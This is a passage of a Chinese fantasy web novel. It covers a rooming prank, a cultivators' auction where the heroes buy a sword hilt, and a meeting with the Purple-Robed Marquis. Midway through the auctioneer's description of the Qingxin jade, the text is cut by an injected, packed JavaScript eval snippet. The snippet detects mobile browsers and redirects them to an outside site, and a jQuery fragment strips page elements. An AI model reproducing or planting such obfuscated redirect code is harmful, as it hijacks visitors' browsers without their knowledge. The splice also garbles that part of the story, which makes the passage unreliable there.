他跟于百川住一间屋,里间是他的,隔间还有一张小榻,给了于百川。于百川洗完了澡,哗啦一声站起来,光着身子就出来了,结实的肌肉一览无余。段星河觉得辣眼睛,拽起一块布扔在他头上,道:“挡一挡。” 于百川喔了一声,擦着水去床边坐下了,慢条斯理地穿上了裤子,依旧光着膀子晃来晃去。屋里烧着火,倒是不冷。段星河放下了地图,面无表情地看着他。于百川终于被他看的不自在了,道:“干嘛?” 段星河道:“为什么不穿衣服?” 于百川理所当然道:“又没有外人,为什么要穿这么多?” 段星河道:“那我呢?” 于百川道:“你要是觉得拘束,也可以不穿。” 段星河:“……” 他本来是问于百川,自己在这里怎么算没有外人。没想到他非但没把段星河当外人,还邀请自己跟他一起光着。 段星河沉默地看着他,怀疑这人有什么奇怪的癖好。他欲言又止,道:“于兄,你该不会是那个吧?” 于百川瞬间明白了他的意思,道:“想什么呢,老子不是断袖啊!” 段星河想就算他是,自己也管不着,干脆来个眼不见心不烦,转过身准备睡觉了。外头传来了一阵敲门声,李玉真扬声道:“段兄,你睡了么?” 于百川去开了门,李玉真看着他赤裸的上半身,眨了眨眼道:“啊这……你不冷吗?” 于百川擦着湿漉漉的头发走开了,一边道:“不冷啊。” 纵横派基本都是男弟子,兄弟们天天待在一起,都已经习惯了。逍遥观里小孩子多,都是师父捡来的,段星河得有个大师兄的样子,不可能光着杆子在门派里瞎晃。李玉真的父亲就是太清宫的掌教,要求他凡事都得端正,也理解不了这种自由奔放的风气。于百川跟他们比起来孑然一身,想干什么就干什么,就像个野人似的。 他扔下了毛巾,一副没见识似的看着他们道:“我们派有个大澡堂子,大家念完了书就泡在浴池里,聊天、搓澡、下棋。水多的地方脑子更好使,你们别不信,大幽有不少国家大事,都是我师父在浴池子里想出来的。” 段星河脑中浮现出了一个白气氤氲的大澡堂,无数人泡在池子里谈论国家大事,感觉有点荒诞,但若是发生在这个世界里,也不是没可能。 于百川大手一挥,豪情万丈道:“等我复兴了门派,第一件事就是重建我们派的大澡堂,邀请各大宗门的朋友都来坦诚相见!” 李玉真笑了一下,客气道:“喔,那我们太清宫的人就不去了。” 段星河也敷衍道:“逍遥观的也不去了,好意心领。” 于百川跳起来,搂住了他俩的肩膀,亲热地说:“我师父说了,人得解放身体的桎梏,才能解开思想上的枷锁。大家都是赤条条的来,又赤条条的去,衣服本来就是身外之物,穿的久了,就忘了自己是谁了。来来来,先把外衣脱了,感受一下自由的感觉。” 段星河和李玉真对视了一眼,也不知道他是不是在忽悠自己。于百川说的有鼻子有眼的,让他们忍不住想试一试。 李玉真脱了外袍,段星河就贴身穿了一件里衣,犹豫了一下。于百川催促道:“快快,拥抱自由,回归本源!” 段星河便把上衣脱了,光着膀子站在屋里,感觉脑子是比以前清醒了一点,但不确定是不是冻的。于百川站在一旁,手里拿着他俩的衣裳,道:“感觉怎么样?” 段星河道:“还行。” 于百川迅速把两件衣裳穿到了自己身上,一把将门打开了,寒风忽地一下子灌进来。段星河和李玉真登时冻的脸都青了,喊道:“你干什么!” 于百川哈哈大笑,道:“这叫兵不厌诈,凉快么?” 段星河意识到自己上当了,道:“揍他!” 李玉真跳上去勒住于百川的脖子,两个人摔在了地上,段星河把自己的衣服从他身上扒了下来。于百川双手护胸,装腔作势地喊道:“非礼啦,扒良家少男衣裳了!” 段星河气的不行,道:“你还良家少男,一肚子坏水!” 于百川趴在地上,笑得喘不上气,道:“哥哥是教你们个乖,别听人说什么就信什么。以后谁再说你不好,就拖他一起下水,趁着别人扑腾你自己就上岸了,懂了没?” 段星河把衣服穿上了,道:“那你们纵横派有大澡堂子没?” 于百川道:“你猜。” 段星河知道他满嘴没有一句实话了,悻悻道:“老子信了你的邪,就会骗人。” 于百川谦虚道:“哎,我这还不叫会骗人,万象门才是真的骗人的行家。跟他们比起来,我不过是小巫见大巫而已。” 三个人坐在地上,喘着气。段星河回头看李玉真,道:“你来干什么?” 李玉真想起自己来的目的,站起来道:“刚才我从丹房回来,见顺子站在外面发呆。我问他怎么了,他说他刚才在墙头看见了个人影。” 段星河觉得有些奇怪,道:“什么影子?” 李玉真道:“他说他从院子里经过,见墙头上有个黑黢黢的影子趴着,一直盯着他看。他捡起块石头砸过去,那人影就嗖地一下子不见了,好像是个小贼,不确定。” 于百川道:“然后呢?” “没有然后了,”李玉真道,“顺子有点害怕,让我来跟你说一声。” 段星河穿上了外袍,道:“我去跟驿丞说一声吧,你们也都提高警惕,别睡着了被人喷迷烟。” 于百川有点尴尬,搔了搔头道:“兄弟,都过去的事了,你怎么还老提呢。” 段星河在他这里吃的亏都够长出八百个心眼子来了,淡淡道:“你三句话里两个坑,我不小心点能行么。” 他出门跟驿丞说了黑影的事,驿丞的神色凝重,道:“下官知道了,我这就多派几个人值夜。” 段星河回来的时候,去了李玉真说的那个墙头,在周围转了一圈,地上没发现明显的脚印。他寻思了一下,说不定是猫、鼬之类的动物从墙上经过,晚上看不清楚,不必太放在心上。 17.双生蛊 一 大约是伏顺看走了眼,那黑影没再出现。众人休息了几天,见城中的修道之人越来越多,来的人或是身份高贵,或是修为深湛,都气度不凡。其中金丹期的修士居多,也有元婴期以上的大能,都是奔着拍卖会来的。 段星河等人收拾停当,去了城郊。凌烟阁的总坛建在半山腰,建筑飞阁流丹,高大华美,庭院里松竹青翠,弟子众多,颇有一派仙气。宗门东边有个待客的白鹤楼,每年的拍卖会都在这里举行。 一群人往会场走去,伏顺慢吞吞地跟在后面,一直挠头,喃喃道:“好痒啊……我的头怎么这么痒?” 李玉真笑道:“要长出脑子来了么?” 赵大海道:“是不是生虱子了?” 伏顺怒道:“我昨天刚洗了澡,干净得很!” 赵大海道:“啊好好好……你别挠了,人家都看咱们了。” 来往有许多人,都穿的十分光鲜,伏顺一个劲儿地挠头也不像个样子,只好忍住了。 白鹤楼门前,来自各大宗门的修士排成长队,领取手牌入场。手牌对应座位,一会儿拍卖的时候举牌就能竞价。众人都是头一次参加拍卖会,觉得十分新鲜。 这边人挤挤挨挨的,就见一个男人也不排队,径自从旁边走过。那人穿着一身白色衣袍,鼻梁上架着个金丝单片眼镜,手上戴着一副皮手套,肩上佩着一双金色的肩甲,身后垂着一条黑色的厚呢子披风。 这人的打扮跟大陆上的人不一样,窄衣窄袖的有些西洋风格。一队钢铁制成的机械小人跟在他脚边,走得稀里哗啦的。铁皮小人后面又跟着十来个挎着窄刀的黑衣侍卫,一个个都趾高气昂的,好像眼睛长到了头顶上。 那些铁皮小人只有一尺多高,有点像外头的木牛流马,十分有趣。墨墨拍了拍翅膀,跃跃欲试地看着那边,想找一个铁皮小人耍一耍。步云邪怕儿子给人家拆了,一手按住了它的脑袋,低声道:“别乱动,那是人家的东西。” 那人听见了他的话,朝这边看了过来。段星河等人还在拥挤的队伍里站着,毫无向前蠕动的迹象,那人便从旁边的通道进去了。 步云邪道:“他刚才是不是看咱们了?” 段星河道:“有么?” 赵大海看着那些人径自进了会场,不服气道:“哎,他们怎么不排队?” 李玉真见过他们,低声道:“那是千机门的少主,叫裴少卿,每年买的东西都特别多,是凌烟阁的贵客,别管他们了。” 不管在什么地方,花钱多的就是大爷,店家都派专人伺候,单独给他们开个通道也不算什么。段星河道:“那些铁皮人是他们自己做的么?” 李玉真道:“是啊,千机门信奉墨家的机关术。他们门主活了好几百岁还没成仙,肉身实在撑不住了,自个儿换了一条机械的胳膊,五个手指头都能动,灵活的很。他还给自己装了三对翅膀和一双风火轮。整天说什么肉/体脆弱,机械飞升,没事就爱鼓捣机器,做了不少大炮、千里眼、机械弓弩之类的东西。各大宗门都抢着买,还挺挣钱的。” 这些人不但花钱大方,每年也提供不少好货给拍卖会。整个场子千机门能撑起一半来,难怪凌烟阁把他们当成贵客。 步云邪沉吟道:“他们门主也是外头来的?” 太古早的事李玉真也不清楚,想了想道:“那老头儿应该是这边土生土长的。不过他活了那么久,应该去过外面吧。说不定是年轻的时候见识过机关术,就带到这边发扬光大了。” 伏顺对这些不感兴趣,只是一门心思地挠头皮。他也不知道好端端的怎么会这么痒,痒得他抓心挠肝的,恨不能把头揪下来好好挠一挠再安回去。 赵大海担忧地看着他,不由得想起了苍蝇搓头的情形,道:“你悠着点啊。” 人实在太挤了,前头一人往后退了一步,踩了伏顺一脚。伏顺本来就够烦的了,登时恼道:“你不看路啊!” 那人回过头来,却是个身材姣好的美女。她歉然道:“我不是故意的,你没事吧。” 她穿着一身银红色的衣裙,肩上披着一件白狐裘,瓜子脸,皮肤娇嫩的吹弹可破,不但人长得好看,说话也柔声细语的。伏顺看的眼都直了,一肚子火气顿时烟消云散,连忙道:“没事没事,是我不好。” 美女嫣然一笑,转了过去。她人虽然美,身边却跟着个九尺多的大个子,拳头有沙包那么大,体型像小山一样,一副凶神恶煞的模样。周围的人虽然忍不住要看那美女,却不敢跟她搭话,生怕那大个子来揍自己。 伏顺痴痴地看着那美女的背影,都忘记挠头了。于百川悄悄地看了一会儿,见她身姿袅娜,举止有一股天然的媚态,感叹道:“这小娘子真漂亮啊。” 赵大海小声道:“别看啦,有主儿的。” 李玉真拢着袖道:“我看不像,那大个子应该是她的仆从。” 大汉的耳朵动了动,回头看了他们一眼,铁塔似的阴影笼罩在他们身上,身躯比赵大海都高大一圈。众人感到了压迫感,闭上了嘴。片刻排到了入口处,众人领了牌子进场,却见刚才那貌美的小娘子去了二楼的席位,比自己这些人的待遇高多了。 于百川摸了摸下巴道:“也是个有身份的,不知道是什么宗门的。” 白鹤楼正中有个圆形的台子,栏杆柱子都漆成了红色,扇形的坐席分为上下两层,一共能容纳两千人。下面的是散客,二楼有包厢,专门接待贵客。 段星河落了座,抬眼往二楼瞧,不光那漂亮的小娘子去了包厢,方才见过的那千机门少主也在二楼落了座。他翘着二郎腿,手里拿着一本烫金的册子,正在翻看今天的拍品。 另一间包厢里,那红衣小娘子坐在豪华的座位上,一手托腮,姿态十分悠闲。那巨灵神一般的大汉倒了一杯葡萄酒,毕恭毕敬地送到那美女面前。她喝了一口,心不在焉地摆了摆手,其他人便退到了一旁。 赵大海舔了舔嘴唇,道:“真好啊,怎么不给咱们上些果子点心?” 伏顺道:“你跟头牛似的那么能吃,人家要是给你本儿都要亏完了。” 李玉真见西头一个包间里,一名华服青年一手扶着栏杆,向下望过来。他身后一名中年男子坐着,手里拿着个镶金的千里镜。李玉真一见他们,脸色登时变了,连忙低下头坐了回去。段星河道:“怎么了?” 李玉真低声道:“是大新的紫衣侯,还有将军府的少将军,他们俩怎么来了?” 段星河道:“你认识他们?” 李玉真展开折扇挡着脸,一边道:“他们俩经常跟我爹见面,要是被他们知道我在这里就糟了。都坐好,别让他们瞧见了。” 外头的修士们渐渐入了场,前头坐着的有蜀山弟子,也有百草门的人,旁边还有浩荡盟的人。那些都是正道人士,举手投足带着一派端方之气。隔着一条过道,东边的坐席中则是高矮胖瘦,什么古怪模样的人都有,大都是修邪法的,跟西边泾渭分明。 伏顺唯恐天下不乱,道:“诶,你说他们之间有没有认识的,万一打起来怎么办?” 李玉真笑了,道:“在凌烟阁打架,家里有几座矿够在这里撒野的?” 他说的也是,这里的宝贝都十分昂贵,万一砸碎了谁也赔不起。既然来参加拍卖会,便要给东道主面子。就算是仇人见面也不能在这里动手,这是拍卖会不成文的规矩。 拍卖还没开始,前头一个散修道:“这次有什么好东西?” 另一人道:“最好的就是清心玉了,据说能帮人摒除杂念,修炼事半功倍。” 段星河的心思微微一动,低声道:“在这边修炼本来就快,加上清心玉,得有多快?” 于百川道:“所以说是压轴的宝贝嘛,不好怎么吸引这么多人来。” 司仪上了台,道:“欢迎各位来到凌烟阁一年一度的拍卖会,本次的拍品共有五十件。都是精挑细选出来的宝贝,一定能让各位满意。有请第一件宝贝,天池琼浆——” 两名女弟子捧上了一个白瓷罐子,里头装的就是天池琼浆,能帮人突破元婴期以下的瓶颈。罐子上结了一层白霜,从里向外散发着白莹莹的寒气,是北地至纯之物。有些人就是冲这个来的,登时睁大了眼欠身看着台上,简直望眼欲穿。 片刻司仪介绍完了,开始竞价,起拍一百两。一群人举了一会儿牌子,便把价格抬到了两千两。段星河的神色凝重下来,低声道:“就这么一点东西,值那么多钱么?” 李玉真跟师父来过好几次,已经习惯了,道:“都是些可遇不可求的宝贝,拿到了修为就比别人更高。咱们是还没到那个境界,要是到了,保准比恶狗扑食还能抢。” 这话虽然有点夸张,那几个竞价的确实像恶狗扑食似的。不少人卡在瓶颈期都好几年了,一旦见了岂能轻易放过,倾家荡产也得拿下。 一会儿功夫,那药已经抬到了三千两,其他修士渐渐停了竞价,显得有心无力起来。唯独千机门的那位公子还在举牌,不愧是这里最有钱的人。 司仪道:“三千一百两,还有没有?” 旁边的包厢里,那红衣美女举起了牌子。司仪道:“三千二百两,三千二百两一次——” 裴少主皱了一下眉头,再次举起了牌子,直接加到了四千两。那红衣女子轻轻一笑,没再加价,仿佛觉得他是个冤大头。千机门的少主虽然买到了药,却也有点恼火,这才刚开始拍卖,那女子就跟他过不去,是故意找茬么? 他拨开帘子往旁边看了一眼,那女子一副悠然的模样,一点也不怕他的权势。 于百川在下边瞧见了,低声道:“那女人是什么门派的,能跟千机门较劲?” 李玉真道:“不知道啊,我也没见过她。” 她丰密的头发如同堆云一般,用蛇形的金环挽起来,上头镶嵌着红色的石榴石,耳旁卷着弯钩状的鬓角,显得十分妖娆。看她的装扮发式,应该不是未出阁的小姐,倒像是某个大能的妾室,替他出来办事的。接下来又拍了几件宝贝,只要是千机门看上的,那女子便都要竞价。来往几个回合之后,本来能低价拿下的东西,都被她抬成了天价。 在场的人都看出她是故意的了,纷纷扭头看过来,有点瞧热闹的意思。千机门的少主有些恼了,左手攥紧了座椅扶手,指节捏得发白。那点钱他倒不是拿不出来,但有人老是在旁边跟自己作对,确实让人心烦。 看他的样子似乎知道对方是谁,但又不能在这里打架,气得脸都青了。 赵大海道:“使那么大力气干什么,椅子要捏断了。” 于百川笑道:“气坏了吧。” 既然那红衣女子专门跟自己作对,裴少主也不怎么举牌子了。片刻百草门的东西上了,司仪介绍道:“这是一棵二百年的灵芝,能解百毒。这是百年人参,对补气培元大有益处。” 赵大海亲自逮住了一只千年人参,够吹一辈子的,见了台上的人参还没长出手脚来,傲然道:“还不如咱们的品质好呢。” 司仪又揭起一块红布,露出了几个乌黑的如同小葫芦似的东西,道:“此物叫做乌灵参,生在白蚁的巢穴中,打雷的时候会滴溜溜打转,又叫做雷震子。” 步云邪顿时睁大了眼,低声道:“就是这个!” 百草门的门主是个老丹修,叫灵犀道人。他不但善于炼丹,医术也十分高明,收了许多徒弟。他在巴蜀灵力旺盛之处圈了几个山头,种了不少灵植,每年也会派弟子去各地采集野生的灵药。百草门出售的药材品质极高,比药店里那些干瘪虫蛀的劣货要好多了。 人参和灵芝争抢的人多一些,乌灵参没什么人感兴趣。步云邪花了四百两买了下来,四舍五入等于捡漏了,觉得总算没白跑一趟。 台上卖出了几台千机门的机关兽、一块鲛绡,又有一把在东海遗墟里发现的竹简残卷,上头记载着一些修炼之法。这种东西收集很久才可能拼凑出原貌来,也未必是什么有用的东西。宾客们对这些边角料都没什么兴趣,打起了呵欠。 一名女弟子端了个托盘上台来,司仪揭开了蓝色的丝绒盖布,露出一截半尺长的铁棍来。 那根铁棍泛着暗银色的光芒,看不出有什么用处,大多数人都对它不屑一顾。 段星河坐得久了,正有点走神。就听步云邪低呼了一声:“星哥,你看那是什么!” “此物是渔民在望海郡的沙滩上发现的,蕴含着淡淡的灵力,上面刻着太阿二字,应当是兵刃的残部……” 台上的司仪还在介绍,段星河等人已经睁大了眼,欠身往台上张望。其他人对这破铜烂铁不感兴趣,只希望赶紧拍完了这件,看看后面还有什么好东西没有。 段星河看清楚了,果然是太阿剑的剑柄。他还以为这东西留在了原来的世界,没想到它跟着自己一起掉在了海滩上。 段星河觉得有些可惜,道:“早知道当时我就在沙滩上多转几圈了,让别人捡走了,还要花钱买回来。” 能再见到它就已经很不容易了,不管有用没用,这东西不能落在别人手里。步云邪低声道:“今天能碰上就算咱们运气好,赶紧拍下来!” 司仪道:“起拍一百两银子,有客官需要么?” 大堂里回荡着他的声音,没人回应。步云邪心中一轻,故意等了片刻才举起牌子,道:“我出一百两。” 司仪道:“还有没有加价的,一百两一次,一百两两次,一百两三次,成交。” 司仪一抡小锤,这铁棍就是他们的了。其他人费解地回头看他们,怀疑步云邪有收破烂的爱好。 于百川不明白他们为什么对这个废铜烂铁感兴趣,道:“你钱多烧得慌啊,做半个月任务才挣五十两,为这破玩意儿要花一百两?” 李玉真见不得他那副算盘精转世的模样,道:“那五十两不是让你拿去了么,你怎么还心疼起钱来了?” 于百川有点尴尬,道:“我就是提醒你们一句,钱不是大风刮来的,花的时候要慎重。” 周围这么多人,步云邪也不想说太多,只道:“我看着顺眼,就拍下来了,有什么问题?” 段星河随口道:“就是,挣钱不就是为了花的么。我看这东西挺好的,装个耙子还能当痒痒挠。” 旁边的几个散修忍不住笑了,有人道:“有意思,什么东西都有人要,等明年咱们也去捡点破烂拿来卖好了。” 另一人道:“他们这儿的鉴宝师也不是好糊弄的,每年都有人来捡漏,说不定这就是什么好东西,你眼拙看不出来呢。” 众人说着话,台上已经捧出了压轴的宝贝。场中的人注意力都集中过去,目不转睛地盯着台上。一枚祥云形状的玉佩散发着淡淡的灵光,透出一股圣洁之气。 司仪介绍道:“此物名叫清心玉,出产于蓬莱岛玉矿,是用品质最高的玉石雕琢而成的。玉佩色泽纯白无瑕,质地细腻通透,有清心凝神的作用。佩戴此物修炼能事半功倍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278516|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,起拍价一百两。” 各大宗门的人等的就是这个宝贝。蜀山的人举了几回牌子,价格很快就涨到了九千两以上。一般人买不起了,长吁短叹起来。西头包厢里坐着的紫衣侯举了牌子,追到了一万两。散修们虽然买不起,但瞧热闹不嫌事大,很希望那几家有钱人好好斗一斗富。 千机门的裴少主举了好几回牌子,仿佛有些厌倦了。他淡淡道:“翻倍。” 他此言一出,场中众人登时哗然,纷纷议论道:“千机门果然财大气粗,一出手就不同凡响!” 紫衣侯皱起了眉头,仿佛在犹豫要不要跟。他旁边那个少年将军摇了摇头,俯身跟他说了几句话,似乎是劝他别太冲动,紫衣侯沉着脸没回答。他是大新皇帝的姨表弟,母亲是皇后的妹妹,父亲是大新的翰林学士,家境十分富裕。天底下的宝贝只要他喜欢,还没有得不到的。 于百川虽然自己穷得很,看别人要破财了就特别兴奋,低声道:“打起来、打起来!” 他正犹豫间,那红衣美人举了牌子。她虽然每次都只加一百两,却让人十分恼火。今天有她捣乱,千机门的少主从头到尾就没顺心过。 裴少主沉着脸,心想自己若是跟了,她还要咬着不放。还不如就此罢手,看她买不买得起。反正就是一块破玉而已,总还能有代替的东西,没必要在这一棵树上吊死。 司仪道:“两万零一百两一次,两万零一百两两次,还有没有要跟的?” 那红衣美人有些意外,不知道千机门的人怎么忽然不跟自己斗了。她虽然故意跟他作对,但其实对这玩意儿没什么兴趣,只是主人派她来气一气对家,她便一直追着他不放。若是真花这么多钱买了这小玩意儿,回去怕是要被主人训斥。 那大个子低声道:“红玉姐,怎么办?” 那美人道:“慌什么,又不是买不起。” 大个子道:“可是这也太贵了……” 红衣美人的神色也有点凝重,这时候就见对面有人举了牌子,却是紫衣侯又加了九百两,凑了个整,两万一千两。 啪地一声,司仪抡下了小锤,清心玉归了紫衣侯。红衣美人松了口气,却见斜对面的裴少主冷笑了一声,露出了嘲讽的神色,仿佛在说:“今天算你运气好,有人给你台阶下,下次就未必有这么走运了。” 红衣美人哼了一声,反正今天只要让他不痛快了,主人交给自己的任务就完成了。她让人放下了帘栊,放松地靠在椅背上,打算回去好好泡个热水澡,往后还有别的热闹可瞧呢。 别家都在暗中较劲,只有紫衣侯是正经来买东西的,还无辜被卷到了台风眼里,高价接了他们的盘。李玉真啧啧两声,感叹道:“候爷真是个好人,若是没有他,今天那两家高低得打一架。” 拍卖结束了,步云邪去买下了乌灵参和太阿剑的剑柄,揣着两个锦盒出来了。众人等在外面,于百川还是耿耿于怀,道:“九十两买了个盒子,十两买了二斤废铁。” 步云邪道:“那是,一斤藕还有半斤洞呢,这世上坑人的东西太多了。于兄这么个算法,夜里经常气得睡不着吧?” 于百川想了想,倒也没有。反正他坑蒙拐骗的,给人画的大饼叠起来都够当枕头了,自己永远亏不着。 月亮升起来了,众人一起往回走去。拐过一条街,就见前头停着一辆华丽的马车。白色的骏马戴着黄金的挽具,车厢都是用沉香木做的。十来个黑衣侍卫挎着刀站在两旁,气势逼人。 那些人好像在这里待了一阵子了,不知道要等谁。李玉真一眼认出了那是紫衣侯的车驾,心里咯噔一下子,小声道:“你们先走,我绕个路。” 他转身正要开溜,就见一名身穿锦衣的少年将军从侍卫后面走出来,向他们抱拳行了一礼,道:“几位道友请留步,我们有话要说。” 李玉真拿折扇挡着脸,藏在人群后头,一副掩耳盗铃的模样。那小将军却看着他直笑,道:“玉真,我们都看见你了,还躲。” 李玉真没办法了,只好上前来道:“宋兄,你在这儿堵我呢?” 小将军道:“不是我,是你小师叔要见你。” 他说着话,一只手掀开了车帘,紫衣侯从车上迈步下来。他缓步走到李玉真面前,面沉似水。李玉真一见他就像耗子见了猫,顿时老实了。他整了整衣裳,恭敬行礼道:“拜见小师叔。” 此人名叫司空悬,封号是太平侯。他跟大新皇帝同年同月同日生,又是姨表亲,皇帝便派了他替自己在太清宫修行。此人命带华盖,灵修方面很有天赋,年纪轻轻就获得了大天师的称号。因为常穿一身紫色的大天师法衣,又被人尊称一声紫衣侯。 他才三十出头,虽然年纪不大,但做为皇帝的替身辈分不能低了。太清宫的掌教便认他做了师弟,让门下的弟子都喊他一声小师叔。 李玉真偷偷离家出走,太清宫找他找翻了天。今日被小师叔发现他在这里,肯定没他好果子吃。 李玉真缩起了脖子,已经准备挨骂了。司空悬的神色虽然严肃,也没有斥责他,只是道:“为什么偷偷跑了?” 其他人也不敢说话,只是站在一旁。李玉真自知理亏,低声道:“我门派大比没拿第一,我爹老骂我……我实在受不了了,就想出来历练历练,学好了本事再回去。” 司空悬知道他有压力,道:“你爹说你也是为了你好。他是一派的掌教,一心想把衣钵传给你,你不努力怎么服众?” 李玉真道:“我不行……小师叔你当掌教就挺好的,还是你来吧。” 司空悬微微皱眉,道:“还跟我贫嘴。” 那少年将军笑道:“当掌教劳神费力的,司空兄爱自在,还是得你们李家人挑这担子才合适。你们祖上不都出了三代国师了么?” 众人一诧,本来以为太清宫的掌教跟别处的掌教一样,就是打坐修行,教教徒弟,没想到还要当大新的国师。难怪他爹恨铁不成钢,对他要求这么高。 一旦当了国师,举手投足都要被更多人看着,肩上的责任重大。李玉真才十八岁,不想就这么被拘束住,道:“他们当国师那是他们的事,我没兴趣。要不然你们让我爹趁着年轻再生一个吧,我真不想再回去挨骂了。” 其他人忍不住笑了,司空悬沉下了脸,道:“胡闹。” 小将军道:“说正经的,你爹挺想你的。我好几次见他在太清宫后头的小湖边站着,你小时候喜欢在那边玩,是不是?” 司空悬冷冷道:“岂止,他为了摸鱼还掉进去过,差点没淹死。” 李玉真尴尬道:“小师叔,这么多人呢……你别揭我短。” 司空悬道:“那你跟我回去。” 李玉真后退了一步,道:“我不,我刚出来呢,要是回去了我爹一定把我关起来,不让我再出门了。” 小将军道:“那你想怎么办?” 李玉真道:“我跟这几位逍遥观的朋友在一起,大家互相照应,过得挺好的。等我历练一阵子,把本事练好了就回去,好不好?” 司空悬沉默不语,小将军见段星河等人跟他年纪差不多,一个个英姿勃发,都透着一股正气。他觉得年轻人是该出来多见见世面,老是闷在道观里于修行无益。他道:“我觉得可以,说不定他在外头历练了这一阵子,就能担当起大任了呢?” “你这是站着说话不腰疼,”司空悬板着脸道,“自己家人扔外头你放心,那你怎么整天念叨你妹子?” 18.双生蛊 二 那小将军被司空悬一训斥,沉默下来,确实是事不关己还能笑得出来,一旦跟自己有关就不是那么回事了。 他名叫宋传捷,父亲是大新的护国大将军,家里有个小他三岁的妹妹,叫宋胡缨。宋大姑娘继承了父亲的一身神力,自小练武,十八般兵器样样精通,尤其是一把斩马/刀抡得虎虎生风。前阵子她爹在城东给她举办了个比武招亲的大会,让她选个配得上她的如意郎君。 宋大姑娘上了擂台,觉得来的都是些绣花枕头,一个都没看在眼里,把那些王孙公子打的满地找牙。就连皇帝暗地里给她挑的人选都被她揍得鼻青脸肿的,属实是有点不解风情了。 李玉真当时还跟几个师兄弟去看过热闹。见擂台上打了不到十个回合,一个膀大腰圆的挑战者就被宋大姑娘一脚踢下来了,正好砸在了他身边。那人疼的脸都歪了,半天爬不起来。几个人匆匆地抬着担架过来,像蚂蚁一样把伤员抬走了。 宋胡缨面无表情地看了这边一眼,道:“李玉真?” 李玉真拢着袖道:“咦,你认得我?” 宋胡缨道:“去年我去太清宫烧香,你香灰落在我的裙子上,给我烫了个洞。” 李玉真对这件事已经没印象了,大约是当时皇家来祈福的人太多,她被烧了裙子也没做声,却默默地记了这么久。他歉然道:“对不住,我不是故意的。” 宋胡缨淡淡道:“没关系,上来比划比划?” 李玉真不想也被揍的鼻血长流,连忙道:“不了不了,出家人打什么擂台,祝姑娘早日找到如意郎君。” 他想起了从前的事,有点怀念,道:“传捷,你妹子怎么样了?” 宋传捷道:“前阵子她也出来历练了,说要挑战武道巅峰,成为兵家第一人。” 她先前比武招亲不成,若是继续在家里待着,只怕她爹娘又要唠叨她。李玉真寻思她多半是为了图清静才出来的,却没说破。他道:“了不起,宋家的女子果然也是巾帼英雄。不过这世道这么乱,她就一个人么,会不会有点危险?” 宋传捷道:“我派人暗中跟着她呢,她武功那么好,不会有事的。” 他虽然这么说,却也显得不太放心。他看了李玉真一眼,道:“你需要人保护么,我给你派一队人?” 李玉真失笑道:“我有这么多兄弟呢,不用担心。” 司空悬看了一眼其他人,瞧出了段星河是他们的首领,对他道:“这位小兄弟怎么称呼?” 对方是大新国的侯爷,段星河不敢怠慢,上前行礼道:“在下段星河,跟李兄是在大幽都城结识的,这些是我的师弟和朋友。” 司空悬注意到了段星河的腰牌,道:“你们是钦天监的人?” 他们还在大幽的地盘上,身为钦天监的人也没什么好隐瞒的。段星河道:“是。” 司空悬想他们既然为大幽皇帝办事,品行应该都过关,不必怕他们带坏了自家小师侄。他道:“我这师侄就有劳你们多照顾了。” 他这么说,就是允许李玉真在外头历练了。李玉真眼睛一亮,道:“多谢小师叔!” 司空悬的神色依旧淡淡的,道:“盘缠够用么?” 李玉真现在就靠钦天监发的一点俸禄过活,接个任务辛辛苦苦地干半个月,还被于百川截了胡。只是他既然出来了,就决心要自立,硬撑着面子道:“有钱,小师叔不用担心。” 于百川在旁边看着他们,心里提醒自己,人家有钱是人家的事。虽然如此,他一双眼睛还是灼灼地盯着司空悬,希望他能慷慨解囊给大家发点见面钱。 司空悬迅速扫了他们一眼,见赵大海的靴子破了个洞,伏顺在后面痴迷地挠着头,于百川浑身散发着一股市侩的气息,步云邪的肩膀上蹲着一只像猪一样的小妖物,一看就挺能吃。这些年轻人初出茅庐,眼里多少都透着些清澈的愚蠢,只有段星河看起来还过得去,但也掩盖不住贫穷的气息。 司空悬抬起手来,便有侍卫取出一个蓝色的荷包,恭敬地放在了侯爷手中。司空悬把荷包递了过来,李玉真后退半步道:“真不用。” 司空悬把荷包塞进了他手里,鼓鼓囊囊的,里头应该装了不少好东西。他道:“你多加小心,在外头看够了,就早点回去看你父亲。” 李玉真十分感动,道:“我知道了,小师叔你们也多保重。” 紫衣侯转身上了马车,宋传捷翻身上了一匹白色的骏马,摆了摆手,沿着大路向前走去。一众侍卫骑着马跟随着他们,渐渐走远了。 其他人方才都没敢出声,此刻才松了口气。李玉真平时看着一副优哉游哉的模样,也没什么架子,大家都没想到他爹居然是大新的国师,身边的人也都是皇亲国戚,不是侯爷、就是大将军的儿子。 于百川差点就错过了这条宝贵的人脉,道:“李兄,没想到你家世这么了得,以前怎么没说呢?” 李玉真本来就是偷跑出来的,怎么可能大肆宣扬家里的事。他道:“没什么好说的。” 于百川盯着他手里那个荷包,道:“侯爷给了你什么?” 李玉真捏了捏,硬邦邦的,他打开一看,里头黄澄澄的放着光,是一大把金瓜子,每颗大约有三钱重,这一包得有十两。这些金瓜子是紫衣侯给人打赏用的,够李玉真花一阵子的了。 于百川忍不住咽了一下口水,望眼欲穿。段星河提醒道:“于兄,那是人家的钱,你看什么?” 于百川是个有底线的人,最多偷人家的任务去交差,钱不能动人家的。他道:“就看看还不行啊?” 李玉真倒是挺大方,从里头掏出一把金瓜子来,给每人发了两颗,道:“这段时间承蒙大家照顾了,拿着买点水果吃。” 赵大海欲拒还迎,讪讪地说:“啊,这怎么好意思。” 李玉真道:“兄弟有通财之义,有钱大家一起花,应该的。” 于百川十分高兴,连忙接了过来,道:“多谢多谢,李兄大气!” 伏顺也不忙着挠头了,一个箭步过来接过了金子,揣到了自己的腰包里,道:“还是李兄好,发达了不忘穷兄弟!” 赵大海也接了过去,两颗金瓜子在他蒲扇一般的手里显得格外小。他放在嘴里咬了一下,还挺软的,嘿嘿一笑道:“是纯金。” 步云邪的品秩比别人都高,俸禄多不缺钱。他拿着金瓜子,没想好干什么用。墨墨凑过来,好奇地用长鼻子戳了戳一颗金瓜子,感觉凉凉的。步云邪道:“别吸进去了。” 